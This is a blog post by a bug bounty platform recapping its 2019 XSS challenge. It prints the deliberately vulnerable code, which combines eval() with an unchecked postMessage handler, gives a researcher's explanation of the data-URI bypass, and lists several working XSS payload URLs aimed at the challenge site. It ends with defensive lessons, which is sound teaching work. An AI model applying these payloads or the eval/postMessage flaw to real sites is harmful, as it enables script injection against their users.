The XSS challenge that +100k people saw but only 90 solved

BY INTIGRITI · MAY 6, 2019 · LAST UPDATED ON MARCH 6, 2025

> “CHALLENGE: Can you find the XSS? Earn a Burp License, cool swag & private invites! https://t.co/EehqBfFmjA pic.twitter.com/sq8FlYgQOH
>
> — Intigriti (@intigriti) April 29, 2019”

A couple of days ago we released a XSS challenge. A few hours after sending out the tweet, we noticed the success of this. Therefore, we decided to share a blogpost with the lovely community.

Take Our Poll

For those who still want to try, the challenge is still up! => https://challenge.intigriti.io <=
In case it’s not available anymore or you want to host the challenge yourself, you can find the code below.

```
 const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|/gi,
"forbidden");
 const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
 iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
 function executeCtx(e) {
  if(e.source == iframe.contentWindow){
   e.data.location = window.location;
   Object.assign(window, e.data);
   eval(url);
  }
 }
```

Solution

We could write an in detail explanation on how to solve this challenge, but we couldn’t do a better job than Dominic and dPhoeniixx. Both researchers shared a well written and very detailed blogpost. You can find the link below.

Solution of Dominic

> “The @intigriti XSS Challenge is over! Here's a writeup I did explaining my solution and how I got there! https://t.co/075tIcIb39 ... Thanks for the super fun challenge! pic.twitter.com/OnpTM35tne
>
> — Dominic (@dee__see) May 3, 2019”

Solution of DPhoenixx

data:image/svg+xml;base64;alert(document.domain);//,PHN2Zy...3ZnPg=

1 2 3 4

1. Use data uri scheme to bypass postMessage source check, as if we src data uri scheme in iframe, our postmessage source will be the same parent.
2. You can't use application/javascript mime, because of the filter that replace `script` string with `forbidden`, you can use svg, html mime type as you want
3. Use base64 extension to bypass `<`,`>`,`script` filter, So you can encode your html/svg crafted document and avoid any filter, browser will avoid any unknown extension like: alert(doucment.domain);
4. your crafted-encoded svg/html file that will help us to send post message to parent and exploit the handler bug to triage our XSS on the parent

How to exploit the Message handler to triage the XSS?

Message Event Handler

```
if(e.source == iframe.contentWindow){
  e.data.location = window.location;
  Object.assign(window, e.data);
  eval(url);
}
```

```
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
```

Line:

1. We have passed this condition before by using data uri scheme, so it will return true
2. Message data's location property will be overwritten with window.location value
3. Message data will be assigned to the window object of the parent
4. Our url will passed to eval function
5. Really man?

Notice that:

You can define new variables through post message or modify variables, you can modify window.location and execute javascript in the parent thourgh javascript scheme, but your location property wil be overwritten, what about modify url variable which been passed to eval function? you can't it is not a variable, it a constant

Solution:

`data:1` is a valid javascript code, but `data:image/svg+xml;base64` will throw errors, because image,svg,xml,base64 are undefined variables, but we can define this variables through post message right? Great! It won't throw errors anymore, `data:image/svg+xml;base64;alert(document.domain)` it will popup document.domain value, you can add double slash, and followed it with ,BASE64_OF_CRAFTED_DOUCMENT ,and you will have a valid data uri scheme, that can execute your code if it passed to eval function, don't forgot your crafted doucment must send post message to the parent and define the undefined variables by the post message data, your crafted javascript code in this document will look like it:

```
parent.postMessage({image:1,svg:1,xml:1,base64:1}, "*");
```

Thanks for reading ;)

Sayed Abdelhafiz / Most Accounts: @dphoeniixx

Wondering how this challenge could be solved via a different way? Take a look at the payloads shared below.

```
https://challenge.intigriti.io/#data:text/html;var%20text=text;var%20html=html;alert(xss)//;base64,PGh0bWw+PGJvZHkgb25sb2FkPXhzcygpPjxzY3JpcHQ+IGZ1bmN0aW9uIHhzcygpIHsgcGFyZW50LnBvc3RNZXNzYWdlKHsneHNzJzogIm4wdG0zIn0sICcqJyk7IH07IDwvc2NyaXB0Pg==
```

by n0tm3

```
https://challenge.intigriti.io/#data:text/html,alert()//%253Csvg/onload=%27top.postMessage(%7B%22text%22:%201%7D,%20%22*%22);top.postMessage(%7B%22html%22:%201%7D,%20%22*%22)%27%253E
```

by Karel_Origin

```
https://challenge.intigriti.io/#data:text/html;var%20text=alert%28%29;var%20html;base64,YWE8c3ZnL29ubG9hZD0idG9wLnBvc3RNZXNzYWdlKDAsJyonKSI+11
```

by terjanq

```
https://challenge.intigriti.io/#data:text/html,alert(document.domain);//%253csvg%20onload=%22parent.postMessage({text:4,html:1},'*');%22%253e
```

by daudmalik06

```
https://challenge.intigriti.io/#data:text/html,alert(document.domain)//%253C%2553cript%253Ewindow.parent.postMessage({text:%22%22,html:%22%22}%2C%20%22*%22)%253C%2F%2553cript%253E
```

by _zulln

One of the most common mistakes we saw was people executing the alert box inside the iframe. But that is not valid solution because the javascript doesn't get triggered on challenge.intigriti.io but in the iframe itself (domain = null).

Overview of the tips

The four tips shared during the challenge:

First tip: "It's all about that base, 'bout that base".

Second tip: "Define the undefined".

Third tip: "You don't need any external resources."

Forth tip: "Look for the charset."

Key takeaways

- Instead of blindly using a wordlist of payloads, understand what you are doing. Go through the challenge step by step and make use of the debugger tool built-in your browser.
- Do not trust user input. Input validation is the key!
- Seeing a message event? Make sure you check the origin?
- Avoid the usage of eval().
- Do not give up. Patience is key.

Thank you!

A special thanks to @filedescriptor and @edoverflow for hardening our challenge!

Thanks to the community for participating in the challenge and congratulations to the 90 researchers who solved the challenge. A shout-out to the winner fenrir, who won a Burp License, swag package and private invites on our platform.

> **"The XSS Challenge is over! Thank you all for participating. We had a whopping 90 valid submissions but there can only be one winner. Check the video below to discover who's getting a Burp Pro License and an exclusive @intigriti swag package! #HackWithIntigriti #CTF #BugBounty pic.twitter.com/l2tNzYwJGB**
>
> **— Intigriti (@intigriti) May 3, 2019"**

Want more?

Follow us on twitter and don't forget to subscribe to our weekly Bug Bytes, a newsletter curated by Pentester Land & powered by intigriti containing more write-ups and helpful resources.

REQUEST A DEMO	VISIT THE WEBSITE	GET IN TOUCH
intigriti.com/demo	intigriti.com	hello@intigriti.com